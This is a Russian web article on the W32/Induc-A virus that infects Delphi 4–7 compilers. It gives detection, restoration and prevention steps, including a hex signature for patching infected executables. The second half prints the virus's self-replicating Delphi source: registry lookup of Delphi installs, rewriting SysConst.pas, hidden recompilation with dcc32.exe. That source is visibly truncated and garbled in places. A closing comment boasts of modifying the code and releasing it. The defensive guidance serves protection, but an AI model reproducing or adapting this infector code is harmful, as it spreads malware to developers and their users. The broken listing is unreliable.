Карта сайтаСсылкиКонтакты

Хостинг


Как остановить вирус W32/Induc-A (Delphi Вирус)

PDF Печать
Статьи
Индекс материала
Как остановить вирус W32/Induc-A (Delphi Вирус)
Страница 2
Все страницы

Вирус по имени W32/Induc-A, цель - среда разработки Delphi версии 4, 5, 6 и 7. Вирус был написан, чтобы инфицировать приложения, компилируемые на Delphi4, Delphi5, Delphi6 и Delphi7.

Тело вируса в шестнадцатиричном редакторе

В сущности вирус не делает ничего, но могут быть проблемы с антивирусными программами, которые могут поместить Ваши программы в карантин и блокировать их выполнение.

Как определить, что Ваш компьютер инфицирован?

Кроме проверки антивирусом, нужно просмотреть папку Lib Вашего Delphi 5, 6 или 7. В этой папке будет находиться SysConst.dcu, а также резервная копия SysConst.bak. Наличие файла резервной копии указывает на зараженность компьютера.

Вы можете восстановить оригинальный SysConst.dcu из установочного диска Delphi (это для старых версий Delphi, которые не упакованы инсталлятором).

Другой вариант восстановления файла SysConst.dcu (если у Вас присутствует файл SysConst.bak): удалите старый SysConst.dcu, скопируйте SysConst.bak и переименуйте его в SysConst.dcu старый файл резервной копии оставьте.

Как предотвратить инфекцию?

Даже, если Вы исправите эти файлы, могут быть программы на Вашем компьютере, или загружены с новым вирусом, которые могут установить его заново. Для этого нужно предотвратить новое заражение.

Поскольку вирус внедрен в файлы .DCU, который вызывает компилятор командной строки, что большинство разработчиков использует редко. Так что хорошее решение избежать распространения вируса и заражения системы состоит в том, чтобы переместить DCC32.EXE в другой каталог (НЕ /BIN), так как вирус ищет его именно там. Изменение исходника без перекомпиляции не будет активировать вирус.

Другой момент: вирус ведет себя так, чтобы добавить файл SysConst.bak в папке /LIB, чтобы отметить систему зараженной. Если этот файл уже существует, то вирус не делает ничего.

Хорошая дополнительная защите - предотвратить запись в каталоге /LIB без разрешения. Все это возможно на Windows Vista. Или по крайней мере Вы можете отметить файлы .DCU в папке /LIB только для чтения.

Но, если у Вас уже есть зараженные файлы .EXE этим вирусом, можно сделать так: открыть этот файл в любом шестнадцатиричном редакторе, найти начало вируса (757365732077696E646F77733B207661722073633A617272617), выделить блок длиной 1042h (длина тела вируса) и заNOPить эту область (заполнить блок кодом 90h).

Кому интересно, можете посмотреть код этого вируса:



// код вируса W32/Induc-A
uses windows;

var sc:array[1..24] of string=('uses windows; var sc:array[1..24] of string=(',
'function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i]',
'=#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;',
'h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b:boolean;t1,t2,t3:FILETIME;begin',
'h:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle',
'(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile',
'(f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while',
'not eof(f1) do begin readln(f1,s); writeln(f2,s);  if pos($implementation$,s)<>0',
'then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2',
',$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2,',
'x(sc[h]));closefile(f1);closefile(f2);{$I+}MoveFile(pchar(d+$dcu$),pchar(d+$bak$',
')); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.',
'wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e+$"$+d+$pas"$),0,0,false,0,0,0,',
'f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile(pchar(d+$bak$),',
'pchar(d+$dcu$));


'begin st; end.');

function x(s:string):string;
var i:integer;
begin 
  for i:=1 to length(s) do if s[i]=#36 then s[i]:=#39;
  result:=s;
end;

procedure re(s,d,e:string);
var f1,f2:textfile;
    h:cardinal;
    f:STARTUPINFO;
    p:PROCESS_INFORMATION;
    b:boolean;
    t1,t2,t3:FILETIME;
begin
  h:=CreateFile(pchar(d+'bak'),0,0,0,3,0,0);
  if h<>DWORD(-1) then
  begin
    CloseHandle(h);
    exit;
  end;
  {'I-}assignfile(f1,s);
  reset(f1);
  if ioresult<>0 then exit;
  assignfile(f2,d+'pas');
  rewrite(f2);
  if ioresult<>0 then begin closefile(f1); exit; end;

  while not eof(f1) do
  begin
    readln(f1,s);
    writeln(f2,s);
    if pos('implementation',s)<>0 then break;
  end;

  
end;

procedure st;
  var  k:HKEY;c:array [1..255] of char;
  i:cardinal;
  r:string;
  v:char;
begin
  for v:='4' to '7' do
    if RegOpenKeyEx(HKEY_LOCAL_MACHINE,pchar(
            'Software\Borland\Delphi\'+v+'.0'),0,KEY_READ,k)=0 then
    begin
      i:=255;
      if RegQueryValueEx(k,'RootDir',nil,@i,@c,@i)=0 then
      begin
        r:='';
        i:=1;
        while c[i]<>#0 do
        begin
          r:=r+c[i];
          inc(i);
        end;
        re(r+'\source\rtl\sys\SysConst'+'.pas',r+'\lib\sysconst.','"'+
           r+'\bin\dcc32.exe" ');
      end;
    RegCloseKey(k);
  end;
end;

begin
  st;
end.

 

Комментарии   

 
+2 #1 Никита 11.05.2014 19:34
Спасибо за код вируса, создам модифицированны й и пущу его в сеть как и автор!!! :lol: :P
А антивири тупые - если этот код не опознали то и мой не опознают :P
Цитировать
 

Добавить комментарий


Защитный код
Обновить